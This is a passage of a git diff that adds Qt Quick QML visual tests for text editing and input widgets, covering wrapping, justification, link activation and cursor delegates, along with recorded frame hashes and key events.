+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ TextEdit {
+ selectByMouse: false
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml
new file mode 100644
index 00000000..4aeb58c3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+ width: 450
+ height: 250
+
+ TestTextEdit {
+ anchors.fill: parent
+ anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 }
+ wrapMode: Text.Wrap
+ horizontalAlignment: Text.AlignJustify
+
+ text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus."
+
+ Rectangle {
+ anchors.fill: parent
+ color: "transparent"
+ border.color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml
new file mode 100644
index 00000000..177d4751
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/linkActivated.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.1
+
+Rectangle{
+ width: 100
+ height: 100
+ TextEdit{
+ text: '<a href="clicked">Click Me</a> '
+ onLinkActivated: txt.text=link;
+ }
+ Text{
+ id: txt
+ y:50
+ text: "unknown"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml
new file mode 100644
index 00000000..5f802346
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/qt-669.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+ Component { id: testableCursor
+ //This shouldn't blink
+ Rectangle {
+ color:"black"
+ width:1
+ }
+ }
+ width:300;
+ height:40;
+ TestTextEdit {
+ focus: true;
+ cursorDelegate: testableCursor
+ text: "Jackdaws love my big sphinx of Quartz"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/usingMultilineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/usingMultilineEdit.qml
new file mode 100644
index 00000000..bf5e7a01
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/usingMultilineEdit.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle{
+ width: 280
+ height: 140
+ Column {
+ MultilineEdit {
+ text: 'I am the very model of a modern major general. I\'ve information vegetable, animal and mineral. I know the kings of england and I quote the fights historical - from Marathon to Waterloo in order categorical.';
+ width: 182; height: 60;
+ }
+ Rectangle {height: 20; width: 20;}//Spacer
+ MultilineEdit {text: 'Hello world'}
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml
new file mode 100644
index 00000000..63400f1b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/wrap.qml
@@ -0,0 +1,35 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Item {
+ height:400
+ width: 200
+ TestTextEdit {
+ width: 200
+ height: 100
+ wrapMode: TextEdit.WordWrap
+ focus: true
+ }
+ //With QTBUG-6273 only the bottom one would be wrapped
+ TestTextEdit {
+ width: 200
+ height: 100
+ wrapMode: TextEdit.WordWrap
+ text: "This is a test that text edit wraps correctly."
+ y:100
+ }
+ TestTextEdit {
+ width: 150
+ height: 100
+ wrapMode: TextEdit.WrapAnywhere
+ text: "This is a test that text edit wraps correctly. thisisaverylongstringwithnospaces"
+ y:200
+ }
+ TestTextEdit {
+ width: 150
+ height: 100
+ wrapMode: TextEdit.Wrap
+ text: "This is a test that text edit wraps correctly. thisisaverylongstringwithnospaces"
+ y:300
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/LineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/LineEdit.qml
new file mode 100644
index 00000000..6789eac2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/LineEdit.qml
@@ -0,0 +1,69 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Item {
+ id:lineedit
+ property alias text: textInp.text
+
+ width: textInp.width + 11
+ height: 13 + 11
+
+ Rectangle {
+ color: 'lightsteelblue'
+ anchors.fill: parent
+ }
+ clip: true
+ Component.onCompleted: textInp.cursorPosition = 0;
+ TestTextInput {
+ id:textInp
+ cursorDelegate: Item {
+ Rectangle {
+ visible: parent.parent.focus
+ color: "#009BCE"
+ height: 13
+ width: 2
+ y: 1
+ }
+ }
+ property int leftMargin: 6
+ property int rightMargin: 6
+ x: leftMargin
+ y: 5
+ //Below function implements all scrolling logic
+ onCursorPositionChanged: {
+ if(cursorRectangle.x < leftMargin - textInp.x){//Cursor went off the front
+ textInp.x = leftMargin - Math.max(0, cursorRectangle.x);
+ }else if(cursorRectangle.x > parent.width - leftMargin - rightMargin - textInp.x){//Cusor went off the end
+ textInp.x = leftMargin - Math.max(0, cursorRectangle.x - (parent.width - leftMargin - rightMargin));
+ }
+ }
+
+ autoScroll: false //It is preferable to implement your own scrolling
+ text:""
+ horizontalAlignment: TextInput.AlignLeft
+ font.pixelSize:15
+ selectionColor: 'steelblue'
+ }
+ MouseArea {
+ //Implements all line edit mouse handling
+ id: mainMouseArea
+ anchors.fill: parent;
+ function translateX(x){
+ return x - textInp.x
+ }
+ onPressed: {
+ textInp.focus = true;
+ textInp.cursorPosition = textInp.positionAt(translateX(mouse.x));
+ }
+ onPositionChanged: {
+ textInp.moveCursorSelection(textInp.positionAt(translateX(mouse.x)));
+ }
+ onReleased: {
+ }
+ onDoubleClicked: {
+ textInp.selectAll()
+ }
+ z: textInp.z + 1
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml
new file mode 100644
index 00000000..f2a34b7c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/cursorDelegate.qml
@@ -0,0 +1,37 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+ resources: [
+ Component { id: cursorA
+ Item { id: cPage;
+ Behavior on x { NumberAnimation { } }
+ Behavior on y { NumberAnimation { } }
+ Behavior on height { NumberAnimation { duration: 200 } }
+ Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2;
+ Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0}
+ Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;}
+ opacity: 1
+ SequentialAnimation on opacity { running: cPage.parent.focus == true; loops: Animation.Infinite;
+ NumberAnimation { to: 1; duration: 500; easing.type: "InQuad"}
+ NumberAnimation { to: 0; duration: 500; easing.type: "OutQuad"}
+ }
+ }
+ width: 1;
+ }
+ }
+ ]
+ width: 400
+ height: 200
+ color: "white"
+ TestTextInput { id: mainText
+ text: "Hello World"
+ cursorDelegate: cursorA
+ focus: true
+ font.pixelSize: 28
+ selectionColor: "lightsteelblue"
+ selectedTextColor: "deeppink"
+ color: "forestgreen"
+ anchors.centerIn: parent
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png
new file mode 100644
index 00000000..b65bc372
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png
new file mode 100644
index 00000000..ebaa0116
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png
new file mode 100644
index 00000000..57ee3706
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png
new file mode 100644
index 00000000..4b70b4a5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png
new file mode 100644
index 00000000..18ae753c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png
new file mode 100644
index 00000000..2b463f0d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png
new file mode 100644
index 00000000..7331f89f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png
new file mode 100644
index 00000000..968bdd2d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png
new file mode 100644
index 00000000..9a3436a0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml
new file mode 100644
index 00000000..6b8ba9b1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml
@@ -0,0 +1,1551 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "cursorDelegate.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 48
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 64
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 80
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 96
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 112
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 128
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 144
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 160
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 176
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 192
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 208
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 224
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 240
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 256
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 272
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 288
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 304
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 320
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 336
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 352
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 368
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 384
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 400
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 416
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 432
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Frame {
+ msec: 448
+ hash: "a7af287992f894f9cf76e834b922f5b3"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 464
+ hash: "74b6ebfbe8246f0b2b43f88d9f6028d1"
+ }
+ Frame {
+ msec: 480
+ hash: "74b6ebfbe8246f0b2b43f88d9f6028d1"
+ }
+ Frame {
+ msec: 496
+ hash: "74b6ebfbe8246f0b2b43f88d9f6028d1"
+ }
+ Frame {
+ msec: 512
+ hash: "74b6ebfbe8246f0b2b43f88d9f6028d1"
+ }
+ Frame {
+ msec: 528
+ hash: "0f0e9ced5d2f9f20a2b5f1b5bde0be62"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "bec7fff73d6d869d2d15b3ea35fa0605"
+ }
+ Frame {
+ msec: 560
+ hash: "e3afffc91ed0a78a0022421e6d1bd0d2"
+ }
+ Frame {
+ msec: 576
+ hash: "45f44411121d335ed7a844803313e566"
+ }
+ Frame {
+ msec: 592
+ hash: "b951279da53fe76ab62ca9837ecbd7a6"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 608
+ hash: "b5678202f08099b09ce88cef5eeea20a"
+ }
+ Frame {
+ msec: 624
+ hash: "93f6663d083a2bd3b4079241f3fc0159"
+ }
+ Frame {
+ msec: 640
+ hash: "8c802943d3030214cb7af7fd1db1c813"
+ }
+ Frame {
+ msec: 656
+ hash: "01396c0332523ba2a8971a99c6962516"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 672
+ hash: "fc5dd253219d1a8aca7fcf31be0e7d69"
+ }
+ Frame {
+ msec: 688
+ hash: "545071a58d8db4f73e1cb6981e9ec62e"
+ }
+ Frame {
+ msec: 704
+ hash: "13bc1aa8ce4fc3d9ba9a6c3046e14c92"
+ }
+ Frame {
+ msec: 720
+ hash: "ba7d13545fb7384dcb3edd32979c9442"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 736
+ hash: "8f9e1abd8eb2d072907b910630e93c9a"
+ }
+ Frame {
+ msec: 752
+ hash: "003d0e4a01909aa51cb1967738383ede"
+ }
+ Frame {
+ msec: 768
+ hash: "223cce18cef44b3945d0a1d45554c5c1"
+ }
+ Frame {
+ msec: 784
+ hash: "fcd7f862bdce75d7e6df574ff0146ca6"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "21f5e3696987222106b00f0efe3bb165"
+ }
+ Frame {
+ msec: 816
+ hash: "6380ce26303da8180dff8fcc88caaf1d"
+ }
+ Frame {
+ msec: 832
+ hash: "52bfa995405a3d6523d97b2c36428d89"
+ }
+ Frame {
+ msec: 848
+ hash: "7169d69c2adb50bf80c075e30eb8e965"
+ }
+ Frame {
+ msec: 864
+ hash: "f5ad55885a4fc2b47a5420e9e0d7c59c"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 880
+ hash: "831081f829df0a226c75389bc457a768"
+ }
+ Frame {
+ msec: 896
+ hash: "2306a9c9cb570bc922f120f2f63e26e4"
+ }
+ Frame {
+ msec: 912
+ hash: "23d6728fe34436e53a449e26962c3ad5"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 928
+ hash: "db2de48337701cbb36a14e32f1846683"
+ }
+ Frame {
+ msec: 944
+ hash: "04bb83a694d293fd4ba956fc79db79e7"
+ }
+ Frame {
+ msec: 960
+ hash: "7a1a71b2d7e42934163990d5c011c464"
+ }
+ Frame {
+ msec: 976
+ image: "cursorDelegate.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1008
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 1024
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 1040
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "af99069cdddfa9d099fbe25ba586e138"
+ }
+ Frame {
+ msec: 1072
+ hash: "20f1db4245d1689e980371d7b1bcb903"
+ }
+ Frame {
+ msec: 1088
+ hash: "6a3629223845d352ba02e3ad8569f698"
+ }
+ Frame {
+ msec: 1104
+ hash: "ee3dd4535fcf24249c41ebebb5f4fca6"
+ }
+ Frame {
+ msec: 1120
+ hash: "7bf5df6a807da0c8d316420ced34e267"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1136
+ hash: "4f5ce98428d5fba11a6322f88cab14c3"
+ }
+ Frame {
+ msec: 1152
+ hash: "14406e8d0e120a0f30864fa8793f2e8d"
+ }
+ Frame {
+ msec: 1168
+ hash: "6e891d584ce4f636708cee1111193878"
+ }
+ Frame {
+ msec: 1184
+ hash: "cd6bbc72108cfffd043a31d0d3655851"
+ }
+ Frame {
+ msec: 1200
+ hash: "d4069e606ab2b10c90e6f567be462c10"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1216
+ hash: "de8e00d6116b1aa900478a41c7ac78f1"
+ }
+ Frame {
+ msec: 1232
+ hash: "5a0c4e31eb9ecb2ffc9380d474861846"
+ }
+ Frame {
+ msec: 1248
+ hash: "bbacdb359c6206b50a859169b106ec92"
+ }
+ Frame {
+ msec: 1264
+ hash: "c4f4ed5a4842f1bbdda67a27d74fd5f4"
+ }
+ Frame {
+ msec: 1280
+ hash: "4deb6d0a83b14abef80f2bfa0491cbd0"
+ }
+ Frame {
+ msec: 1296
+ hash: "9caca7068ce5b289d70c39667e87a57f"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "e3ca7a8a860efc3811b8befe0a97d7f1"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1328
+ hash: "ddb3dcb40f412c087d0ae21b5a8e47aa"
+ }
+ Frame {
+ msec: 1344
+ hash: "325d8356c3e14467c54d03d096a3c1a5"
+ }
+ Frame {
+ msec: 1360
+ hash: "83f4c541b94180863e538e6c0a0e1ae0"
+ }
+ Frame {
+ msec: 1376
+ hash: "16623dc34067800f3c7d6aabe1076927"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "e7319b080b621c5d176d6913cd9a8f7e"
+ }
+ Frame {
+ msec: 1408
+ hash: "353a200418b2cc0fbe925329224e658a"
+ }
+ Frame {
+ msec: 1424
+ hash: "98fd3f1fc108de1d78f07587f9e94ec4"
+ }
+ Frame {
+ msec: 1440
+ hash: "f75fbda5a1403f7b1dd8e9d05e30ebeb"
+ }
+ Frame {
+ msec: 1456
+ hash: "c2742ff9a04bbae6c6de13f08d514913"
+ }
+ Frame {
+ msec: 1472
+ hash: "a73b65c18ba10e6b6d310fc325d7ccb2"
+ }
+ Frame {
+ msec: 1488
+ hash: "bbe72b26a6f3f518a3c8b6cd9e8dbfd1"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "679205439a359f3ffb05f631a1979596"
+ }
+ Frame {
+ msec: 1520
+ hash: "7ada5f6a58a6a7f9a3b4199a412fccfd"
+ }
+ Frame {
+ msec: 1536
+ hash: "66749c0e5b97cec02f4908a709201604"
+ }
+ Frame {
+ msec: 1552
+ hash: "373bfac053f5cfeceabe2979f3e6f444"
+ }
+ Frame {
+ msec: 1568
+ hash: "c7ab2bcdcd1b7fd25ac775c4dd382635"
+ }
+ Frame {
+ msec: 1584
+ hash: "3116b1a0cf1724bdae2cb71b9e15c73e"
+ }
+ Frame {
+ msec: 1600
+ hash: "9bdc4513c30bf2d1eca61317cc22ebaa"
+ }
+ Frame {
+ msec: 1616
+ hash: "bbecf871ff569ac1020272c1ccc9aa14"
+ }
+ Frame {
+ msec: 1632
+ hash: "beef5a84dcc7794cf0aabfc8b7f811bc"
+ }
+ Frame {
+ msec: 1648
+ hash: "2db7161f3591ef0b3f1e3cb2aa357c8b"
+ }
+ Frame {
+ msec: 1664
+ hash: "b8b5ffef5e52a8ae94ddb5ec3328fa0e"
+ }
+ Frame {
+ msec: 1680
+ hash: "b65c4657ffb97a59455f2c3e23e3eb51"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1696
+ hash: "9702981b8eb5f035f2f4da6708ad1a92"
+ }
+ Frame {
+ msec: 1712
+ hash: "a6f46dd869daf69c5a5a3c887ae35a05"
+ }
+ Frame {
+ msec: 1728
+ hash: "902c0f174b16b1b0d419c13220937e06"
+ }
+ Frame {
+ msec: 1744
+ hash: "97a5ea7449a1f313d0d5e818edc29bf6"
+ }
+ Frame {
+ msec: 1760
+ hash: "d5b69638452ea2260861c17991fc8bef"
+ }
+ Frame {
+ msec: 1776
+ hash: "5fa21c53d65b078d1b30830d99a0fbaf"
+ }
+ Frame {
+ msec: 1792
+ hash: "668de1d2fa5780f5088637d919db0a0d"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1808
+ hash: "1989592754c28456aa917562fa3620bd"
+ }
+ Frame {
+ msec: 1824
+ hash: "89cd0ef7c366bbcee8e4404e9a2285a7"
+ }
+ Frame {
+ msec: 1840
+ hash: "d062d4b132ee3086a00220d47e8907fc"
+ }
+ Frame {
+ msec: 1856
+ hash: "198bd9fc763c70fb84bdae122f0bdd8b"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1872
+ hash: "304f7f6cef5b09c09db1284b8095e9a2"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "565003fef7b9810ffe95c3bbeeda5bbc"
+ }
+ Frame {
+ msec: 1904
+ hash: "2fa85a19ba2bb7d04264a246c4982eb4"
+ }
+ Frame {
+ msec: 1920
+ hash: "7be44eca358924dc11c5123e406f1c99"
+ }
+ Frame {
+ msec: 1936
+ image: "cursorDelegate.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "a08502b3fbb425c7b1cad93e4bc5701e"
+ }
+ Frame {
+ msec: 1968
+ hash: "fba3a88b7fe6f7583daf07db78f3598c"
+ }
+ Frame {
+ msec: 1984
+ hash: "509d75aa56bcdb6718c18b56e138ef3c"
+ }
+ Frame {
+ msec: 2000
+ hash: "509d75aa56bcdb6718c18b56e138ef3c"
+ }
+ Frame {
+ msec: 2016
+ hash: "509d75aa56bcdb6718c18b56e138ef3c"
+ }
+ Frame {
+ msec: 2032
+ hash: "509d75aa56bcdb6718c18b56e138ef3c"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2048
+ hash: "509d75aa56bcdb6718c18b56e138ef3c"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "fba3a88b7fe6f7583daf07db78f3598c"
+ }
+ Frame {
+ msec: 2080
+ hash: "a08502b3fbb425c7b1cad93e4bc5701e"
+ }
+ Frame {
+ msec: 2096
+ hash: "86ad5a9e06d19ea79e0fc9f7f36cdb0f"
+ }
+ Frame {
+ msec: 2112
+ hash: "7be44eca358924dc11c5123e406f1c99"
+ }
+ Frame {
+ msec: 2128
+ hash: "2fa85a19ba2bb7d04264a246c4982eb4"
+ }
+ Frame {
+ msec: 2144
+ hash: "565003fef7b9810ffe95c3bbeeda5bbc"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "39c81c6efdbc32b6e0378810404bef2c"
+ }
+ Frame {
+ msec: 2176
+ hash: "756f36cf41c2bae3a8a8716701e55e37"
+ }
+ Frame {
+ msec: 2192
+ hash: "fb09d44a5a5b5b795d562512e9547301"
+ }
+ Frame {
+ msec: 2208
+ hash: "183538d04cf009f100a1e49a3229c143"
+ }
+ Frame {
+ msec: 2224
+ hash: "2ec91bfdb0f106a526f6bde3eb0ed7ce"
+ }
+ Frame {
+ msec: 2240
+ hash: "f34175acc261ad79bc9d2083af04ae10"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2256
+ hash: "39a59b2e9e0bee87d3ba50e1408bea1c"
+ }
+ Frame {
+ msec: 2272
+ hash: "db61ba19d56b69d148aeb182de596713"
+ }
+ Frame {
+ msec: 2288
+ hash: "e0b07106a5adc1603788444d48b9c3db"
+ }
+ Frame {
+ msec: 2304
+ hash: "1dd5625fb6a0ddbaa3919a1702695e9c"
+ }
+ Frame {
+ msec: 2320
+ hash: "d7d39e8f717bab17aaf8a12e4f9e0dfc"
+ }
+ Frame {
+ msec: 2336
+ hash: "d7a226b40a049dee56755af9206246b4"
+ }
+ Frame {
+ msec: 2352
+ hash: "37d2d2830f6ae6bf0c8fb29c5d4f521a"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "21008b3a5179e25f9b132a4c05b8b8c4"
+ }
+ Frame {
+ msec: 2384
+ hash: "a6f05fb5206a456bea790ba7ba31868c"
+ }
+ Frame {
+ msec: 2400
+ hash: "754e2fca1b3ed5ee9875aafb1a0c62d3"
+ }
+ Frame {
+ msec: 2416
+ hash: "75d1ae9c60573f9e27cd7c2d1706cbfc"
+ }
+ Frame {
+ msec: 2432
+ hash: "c78608cde907bc09760d858795b43bbf"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
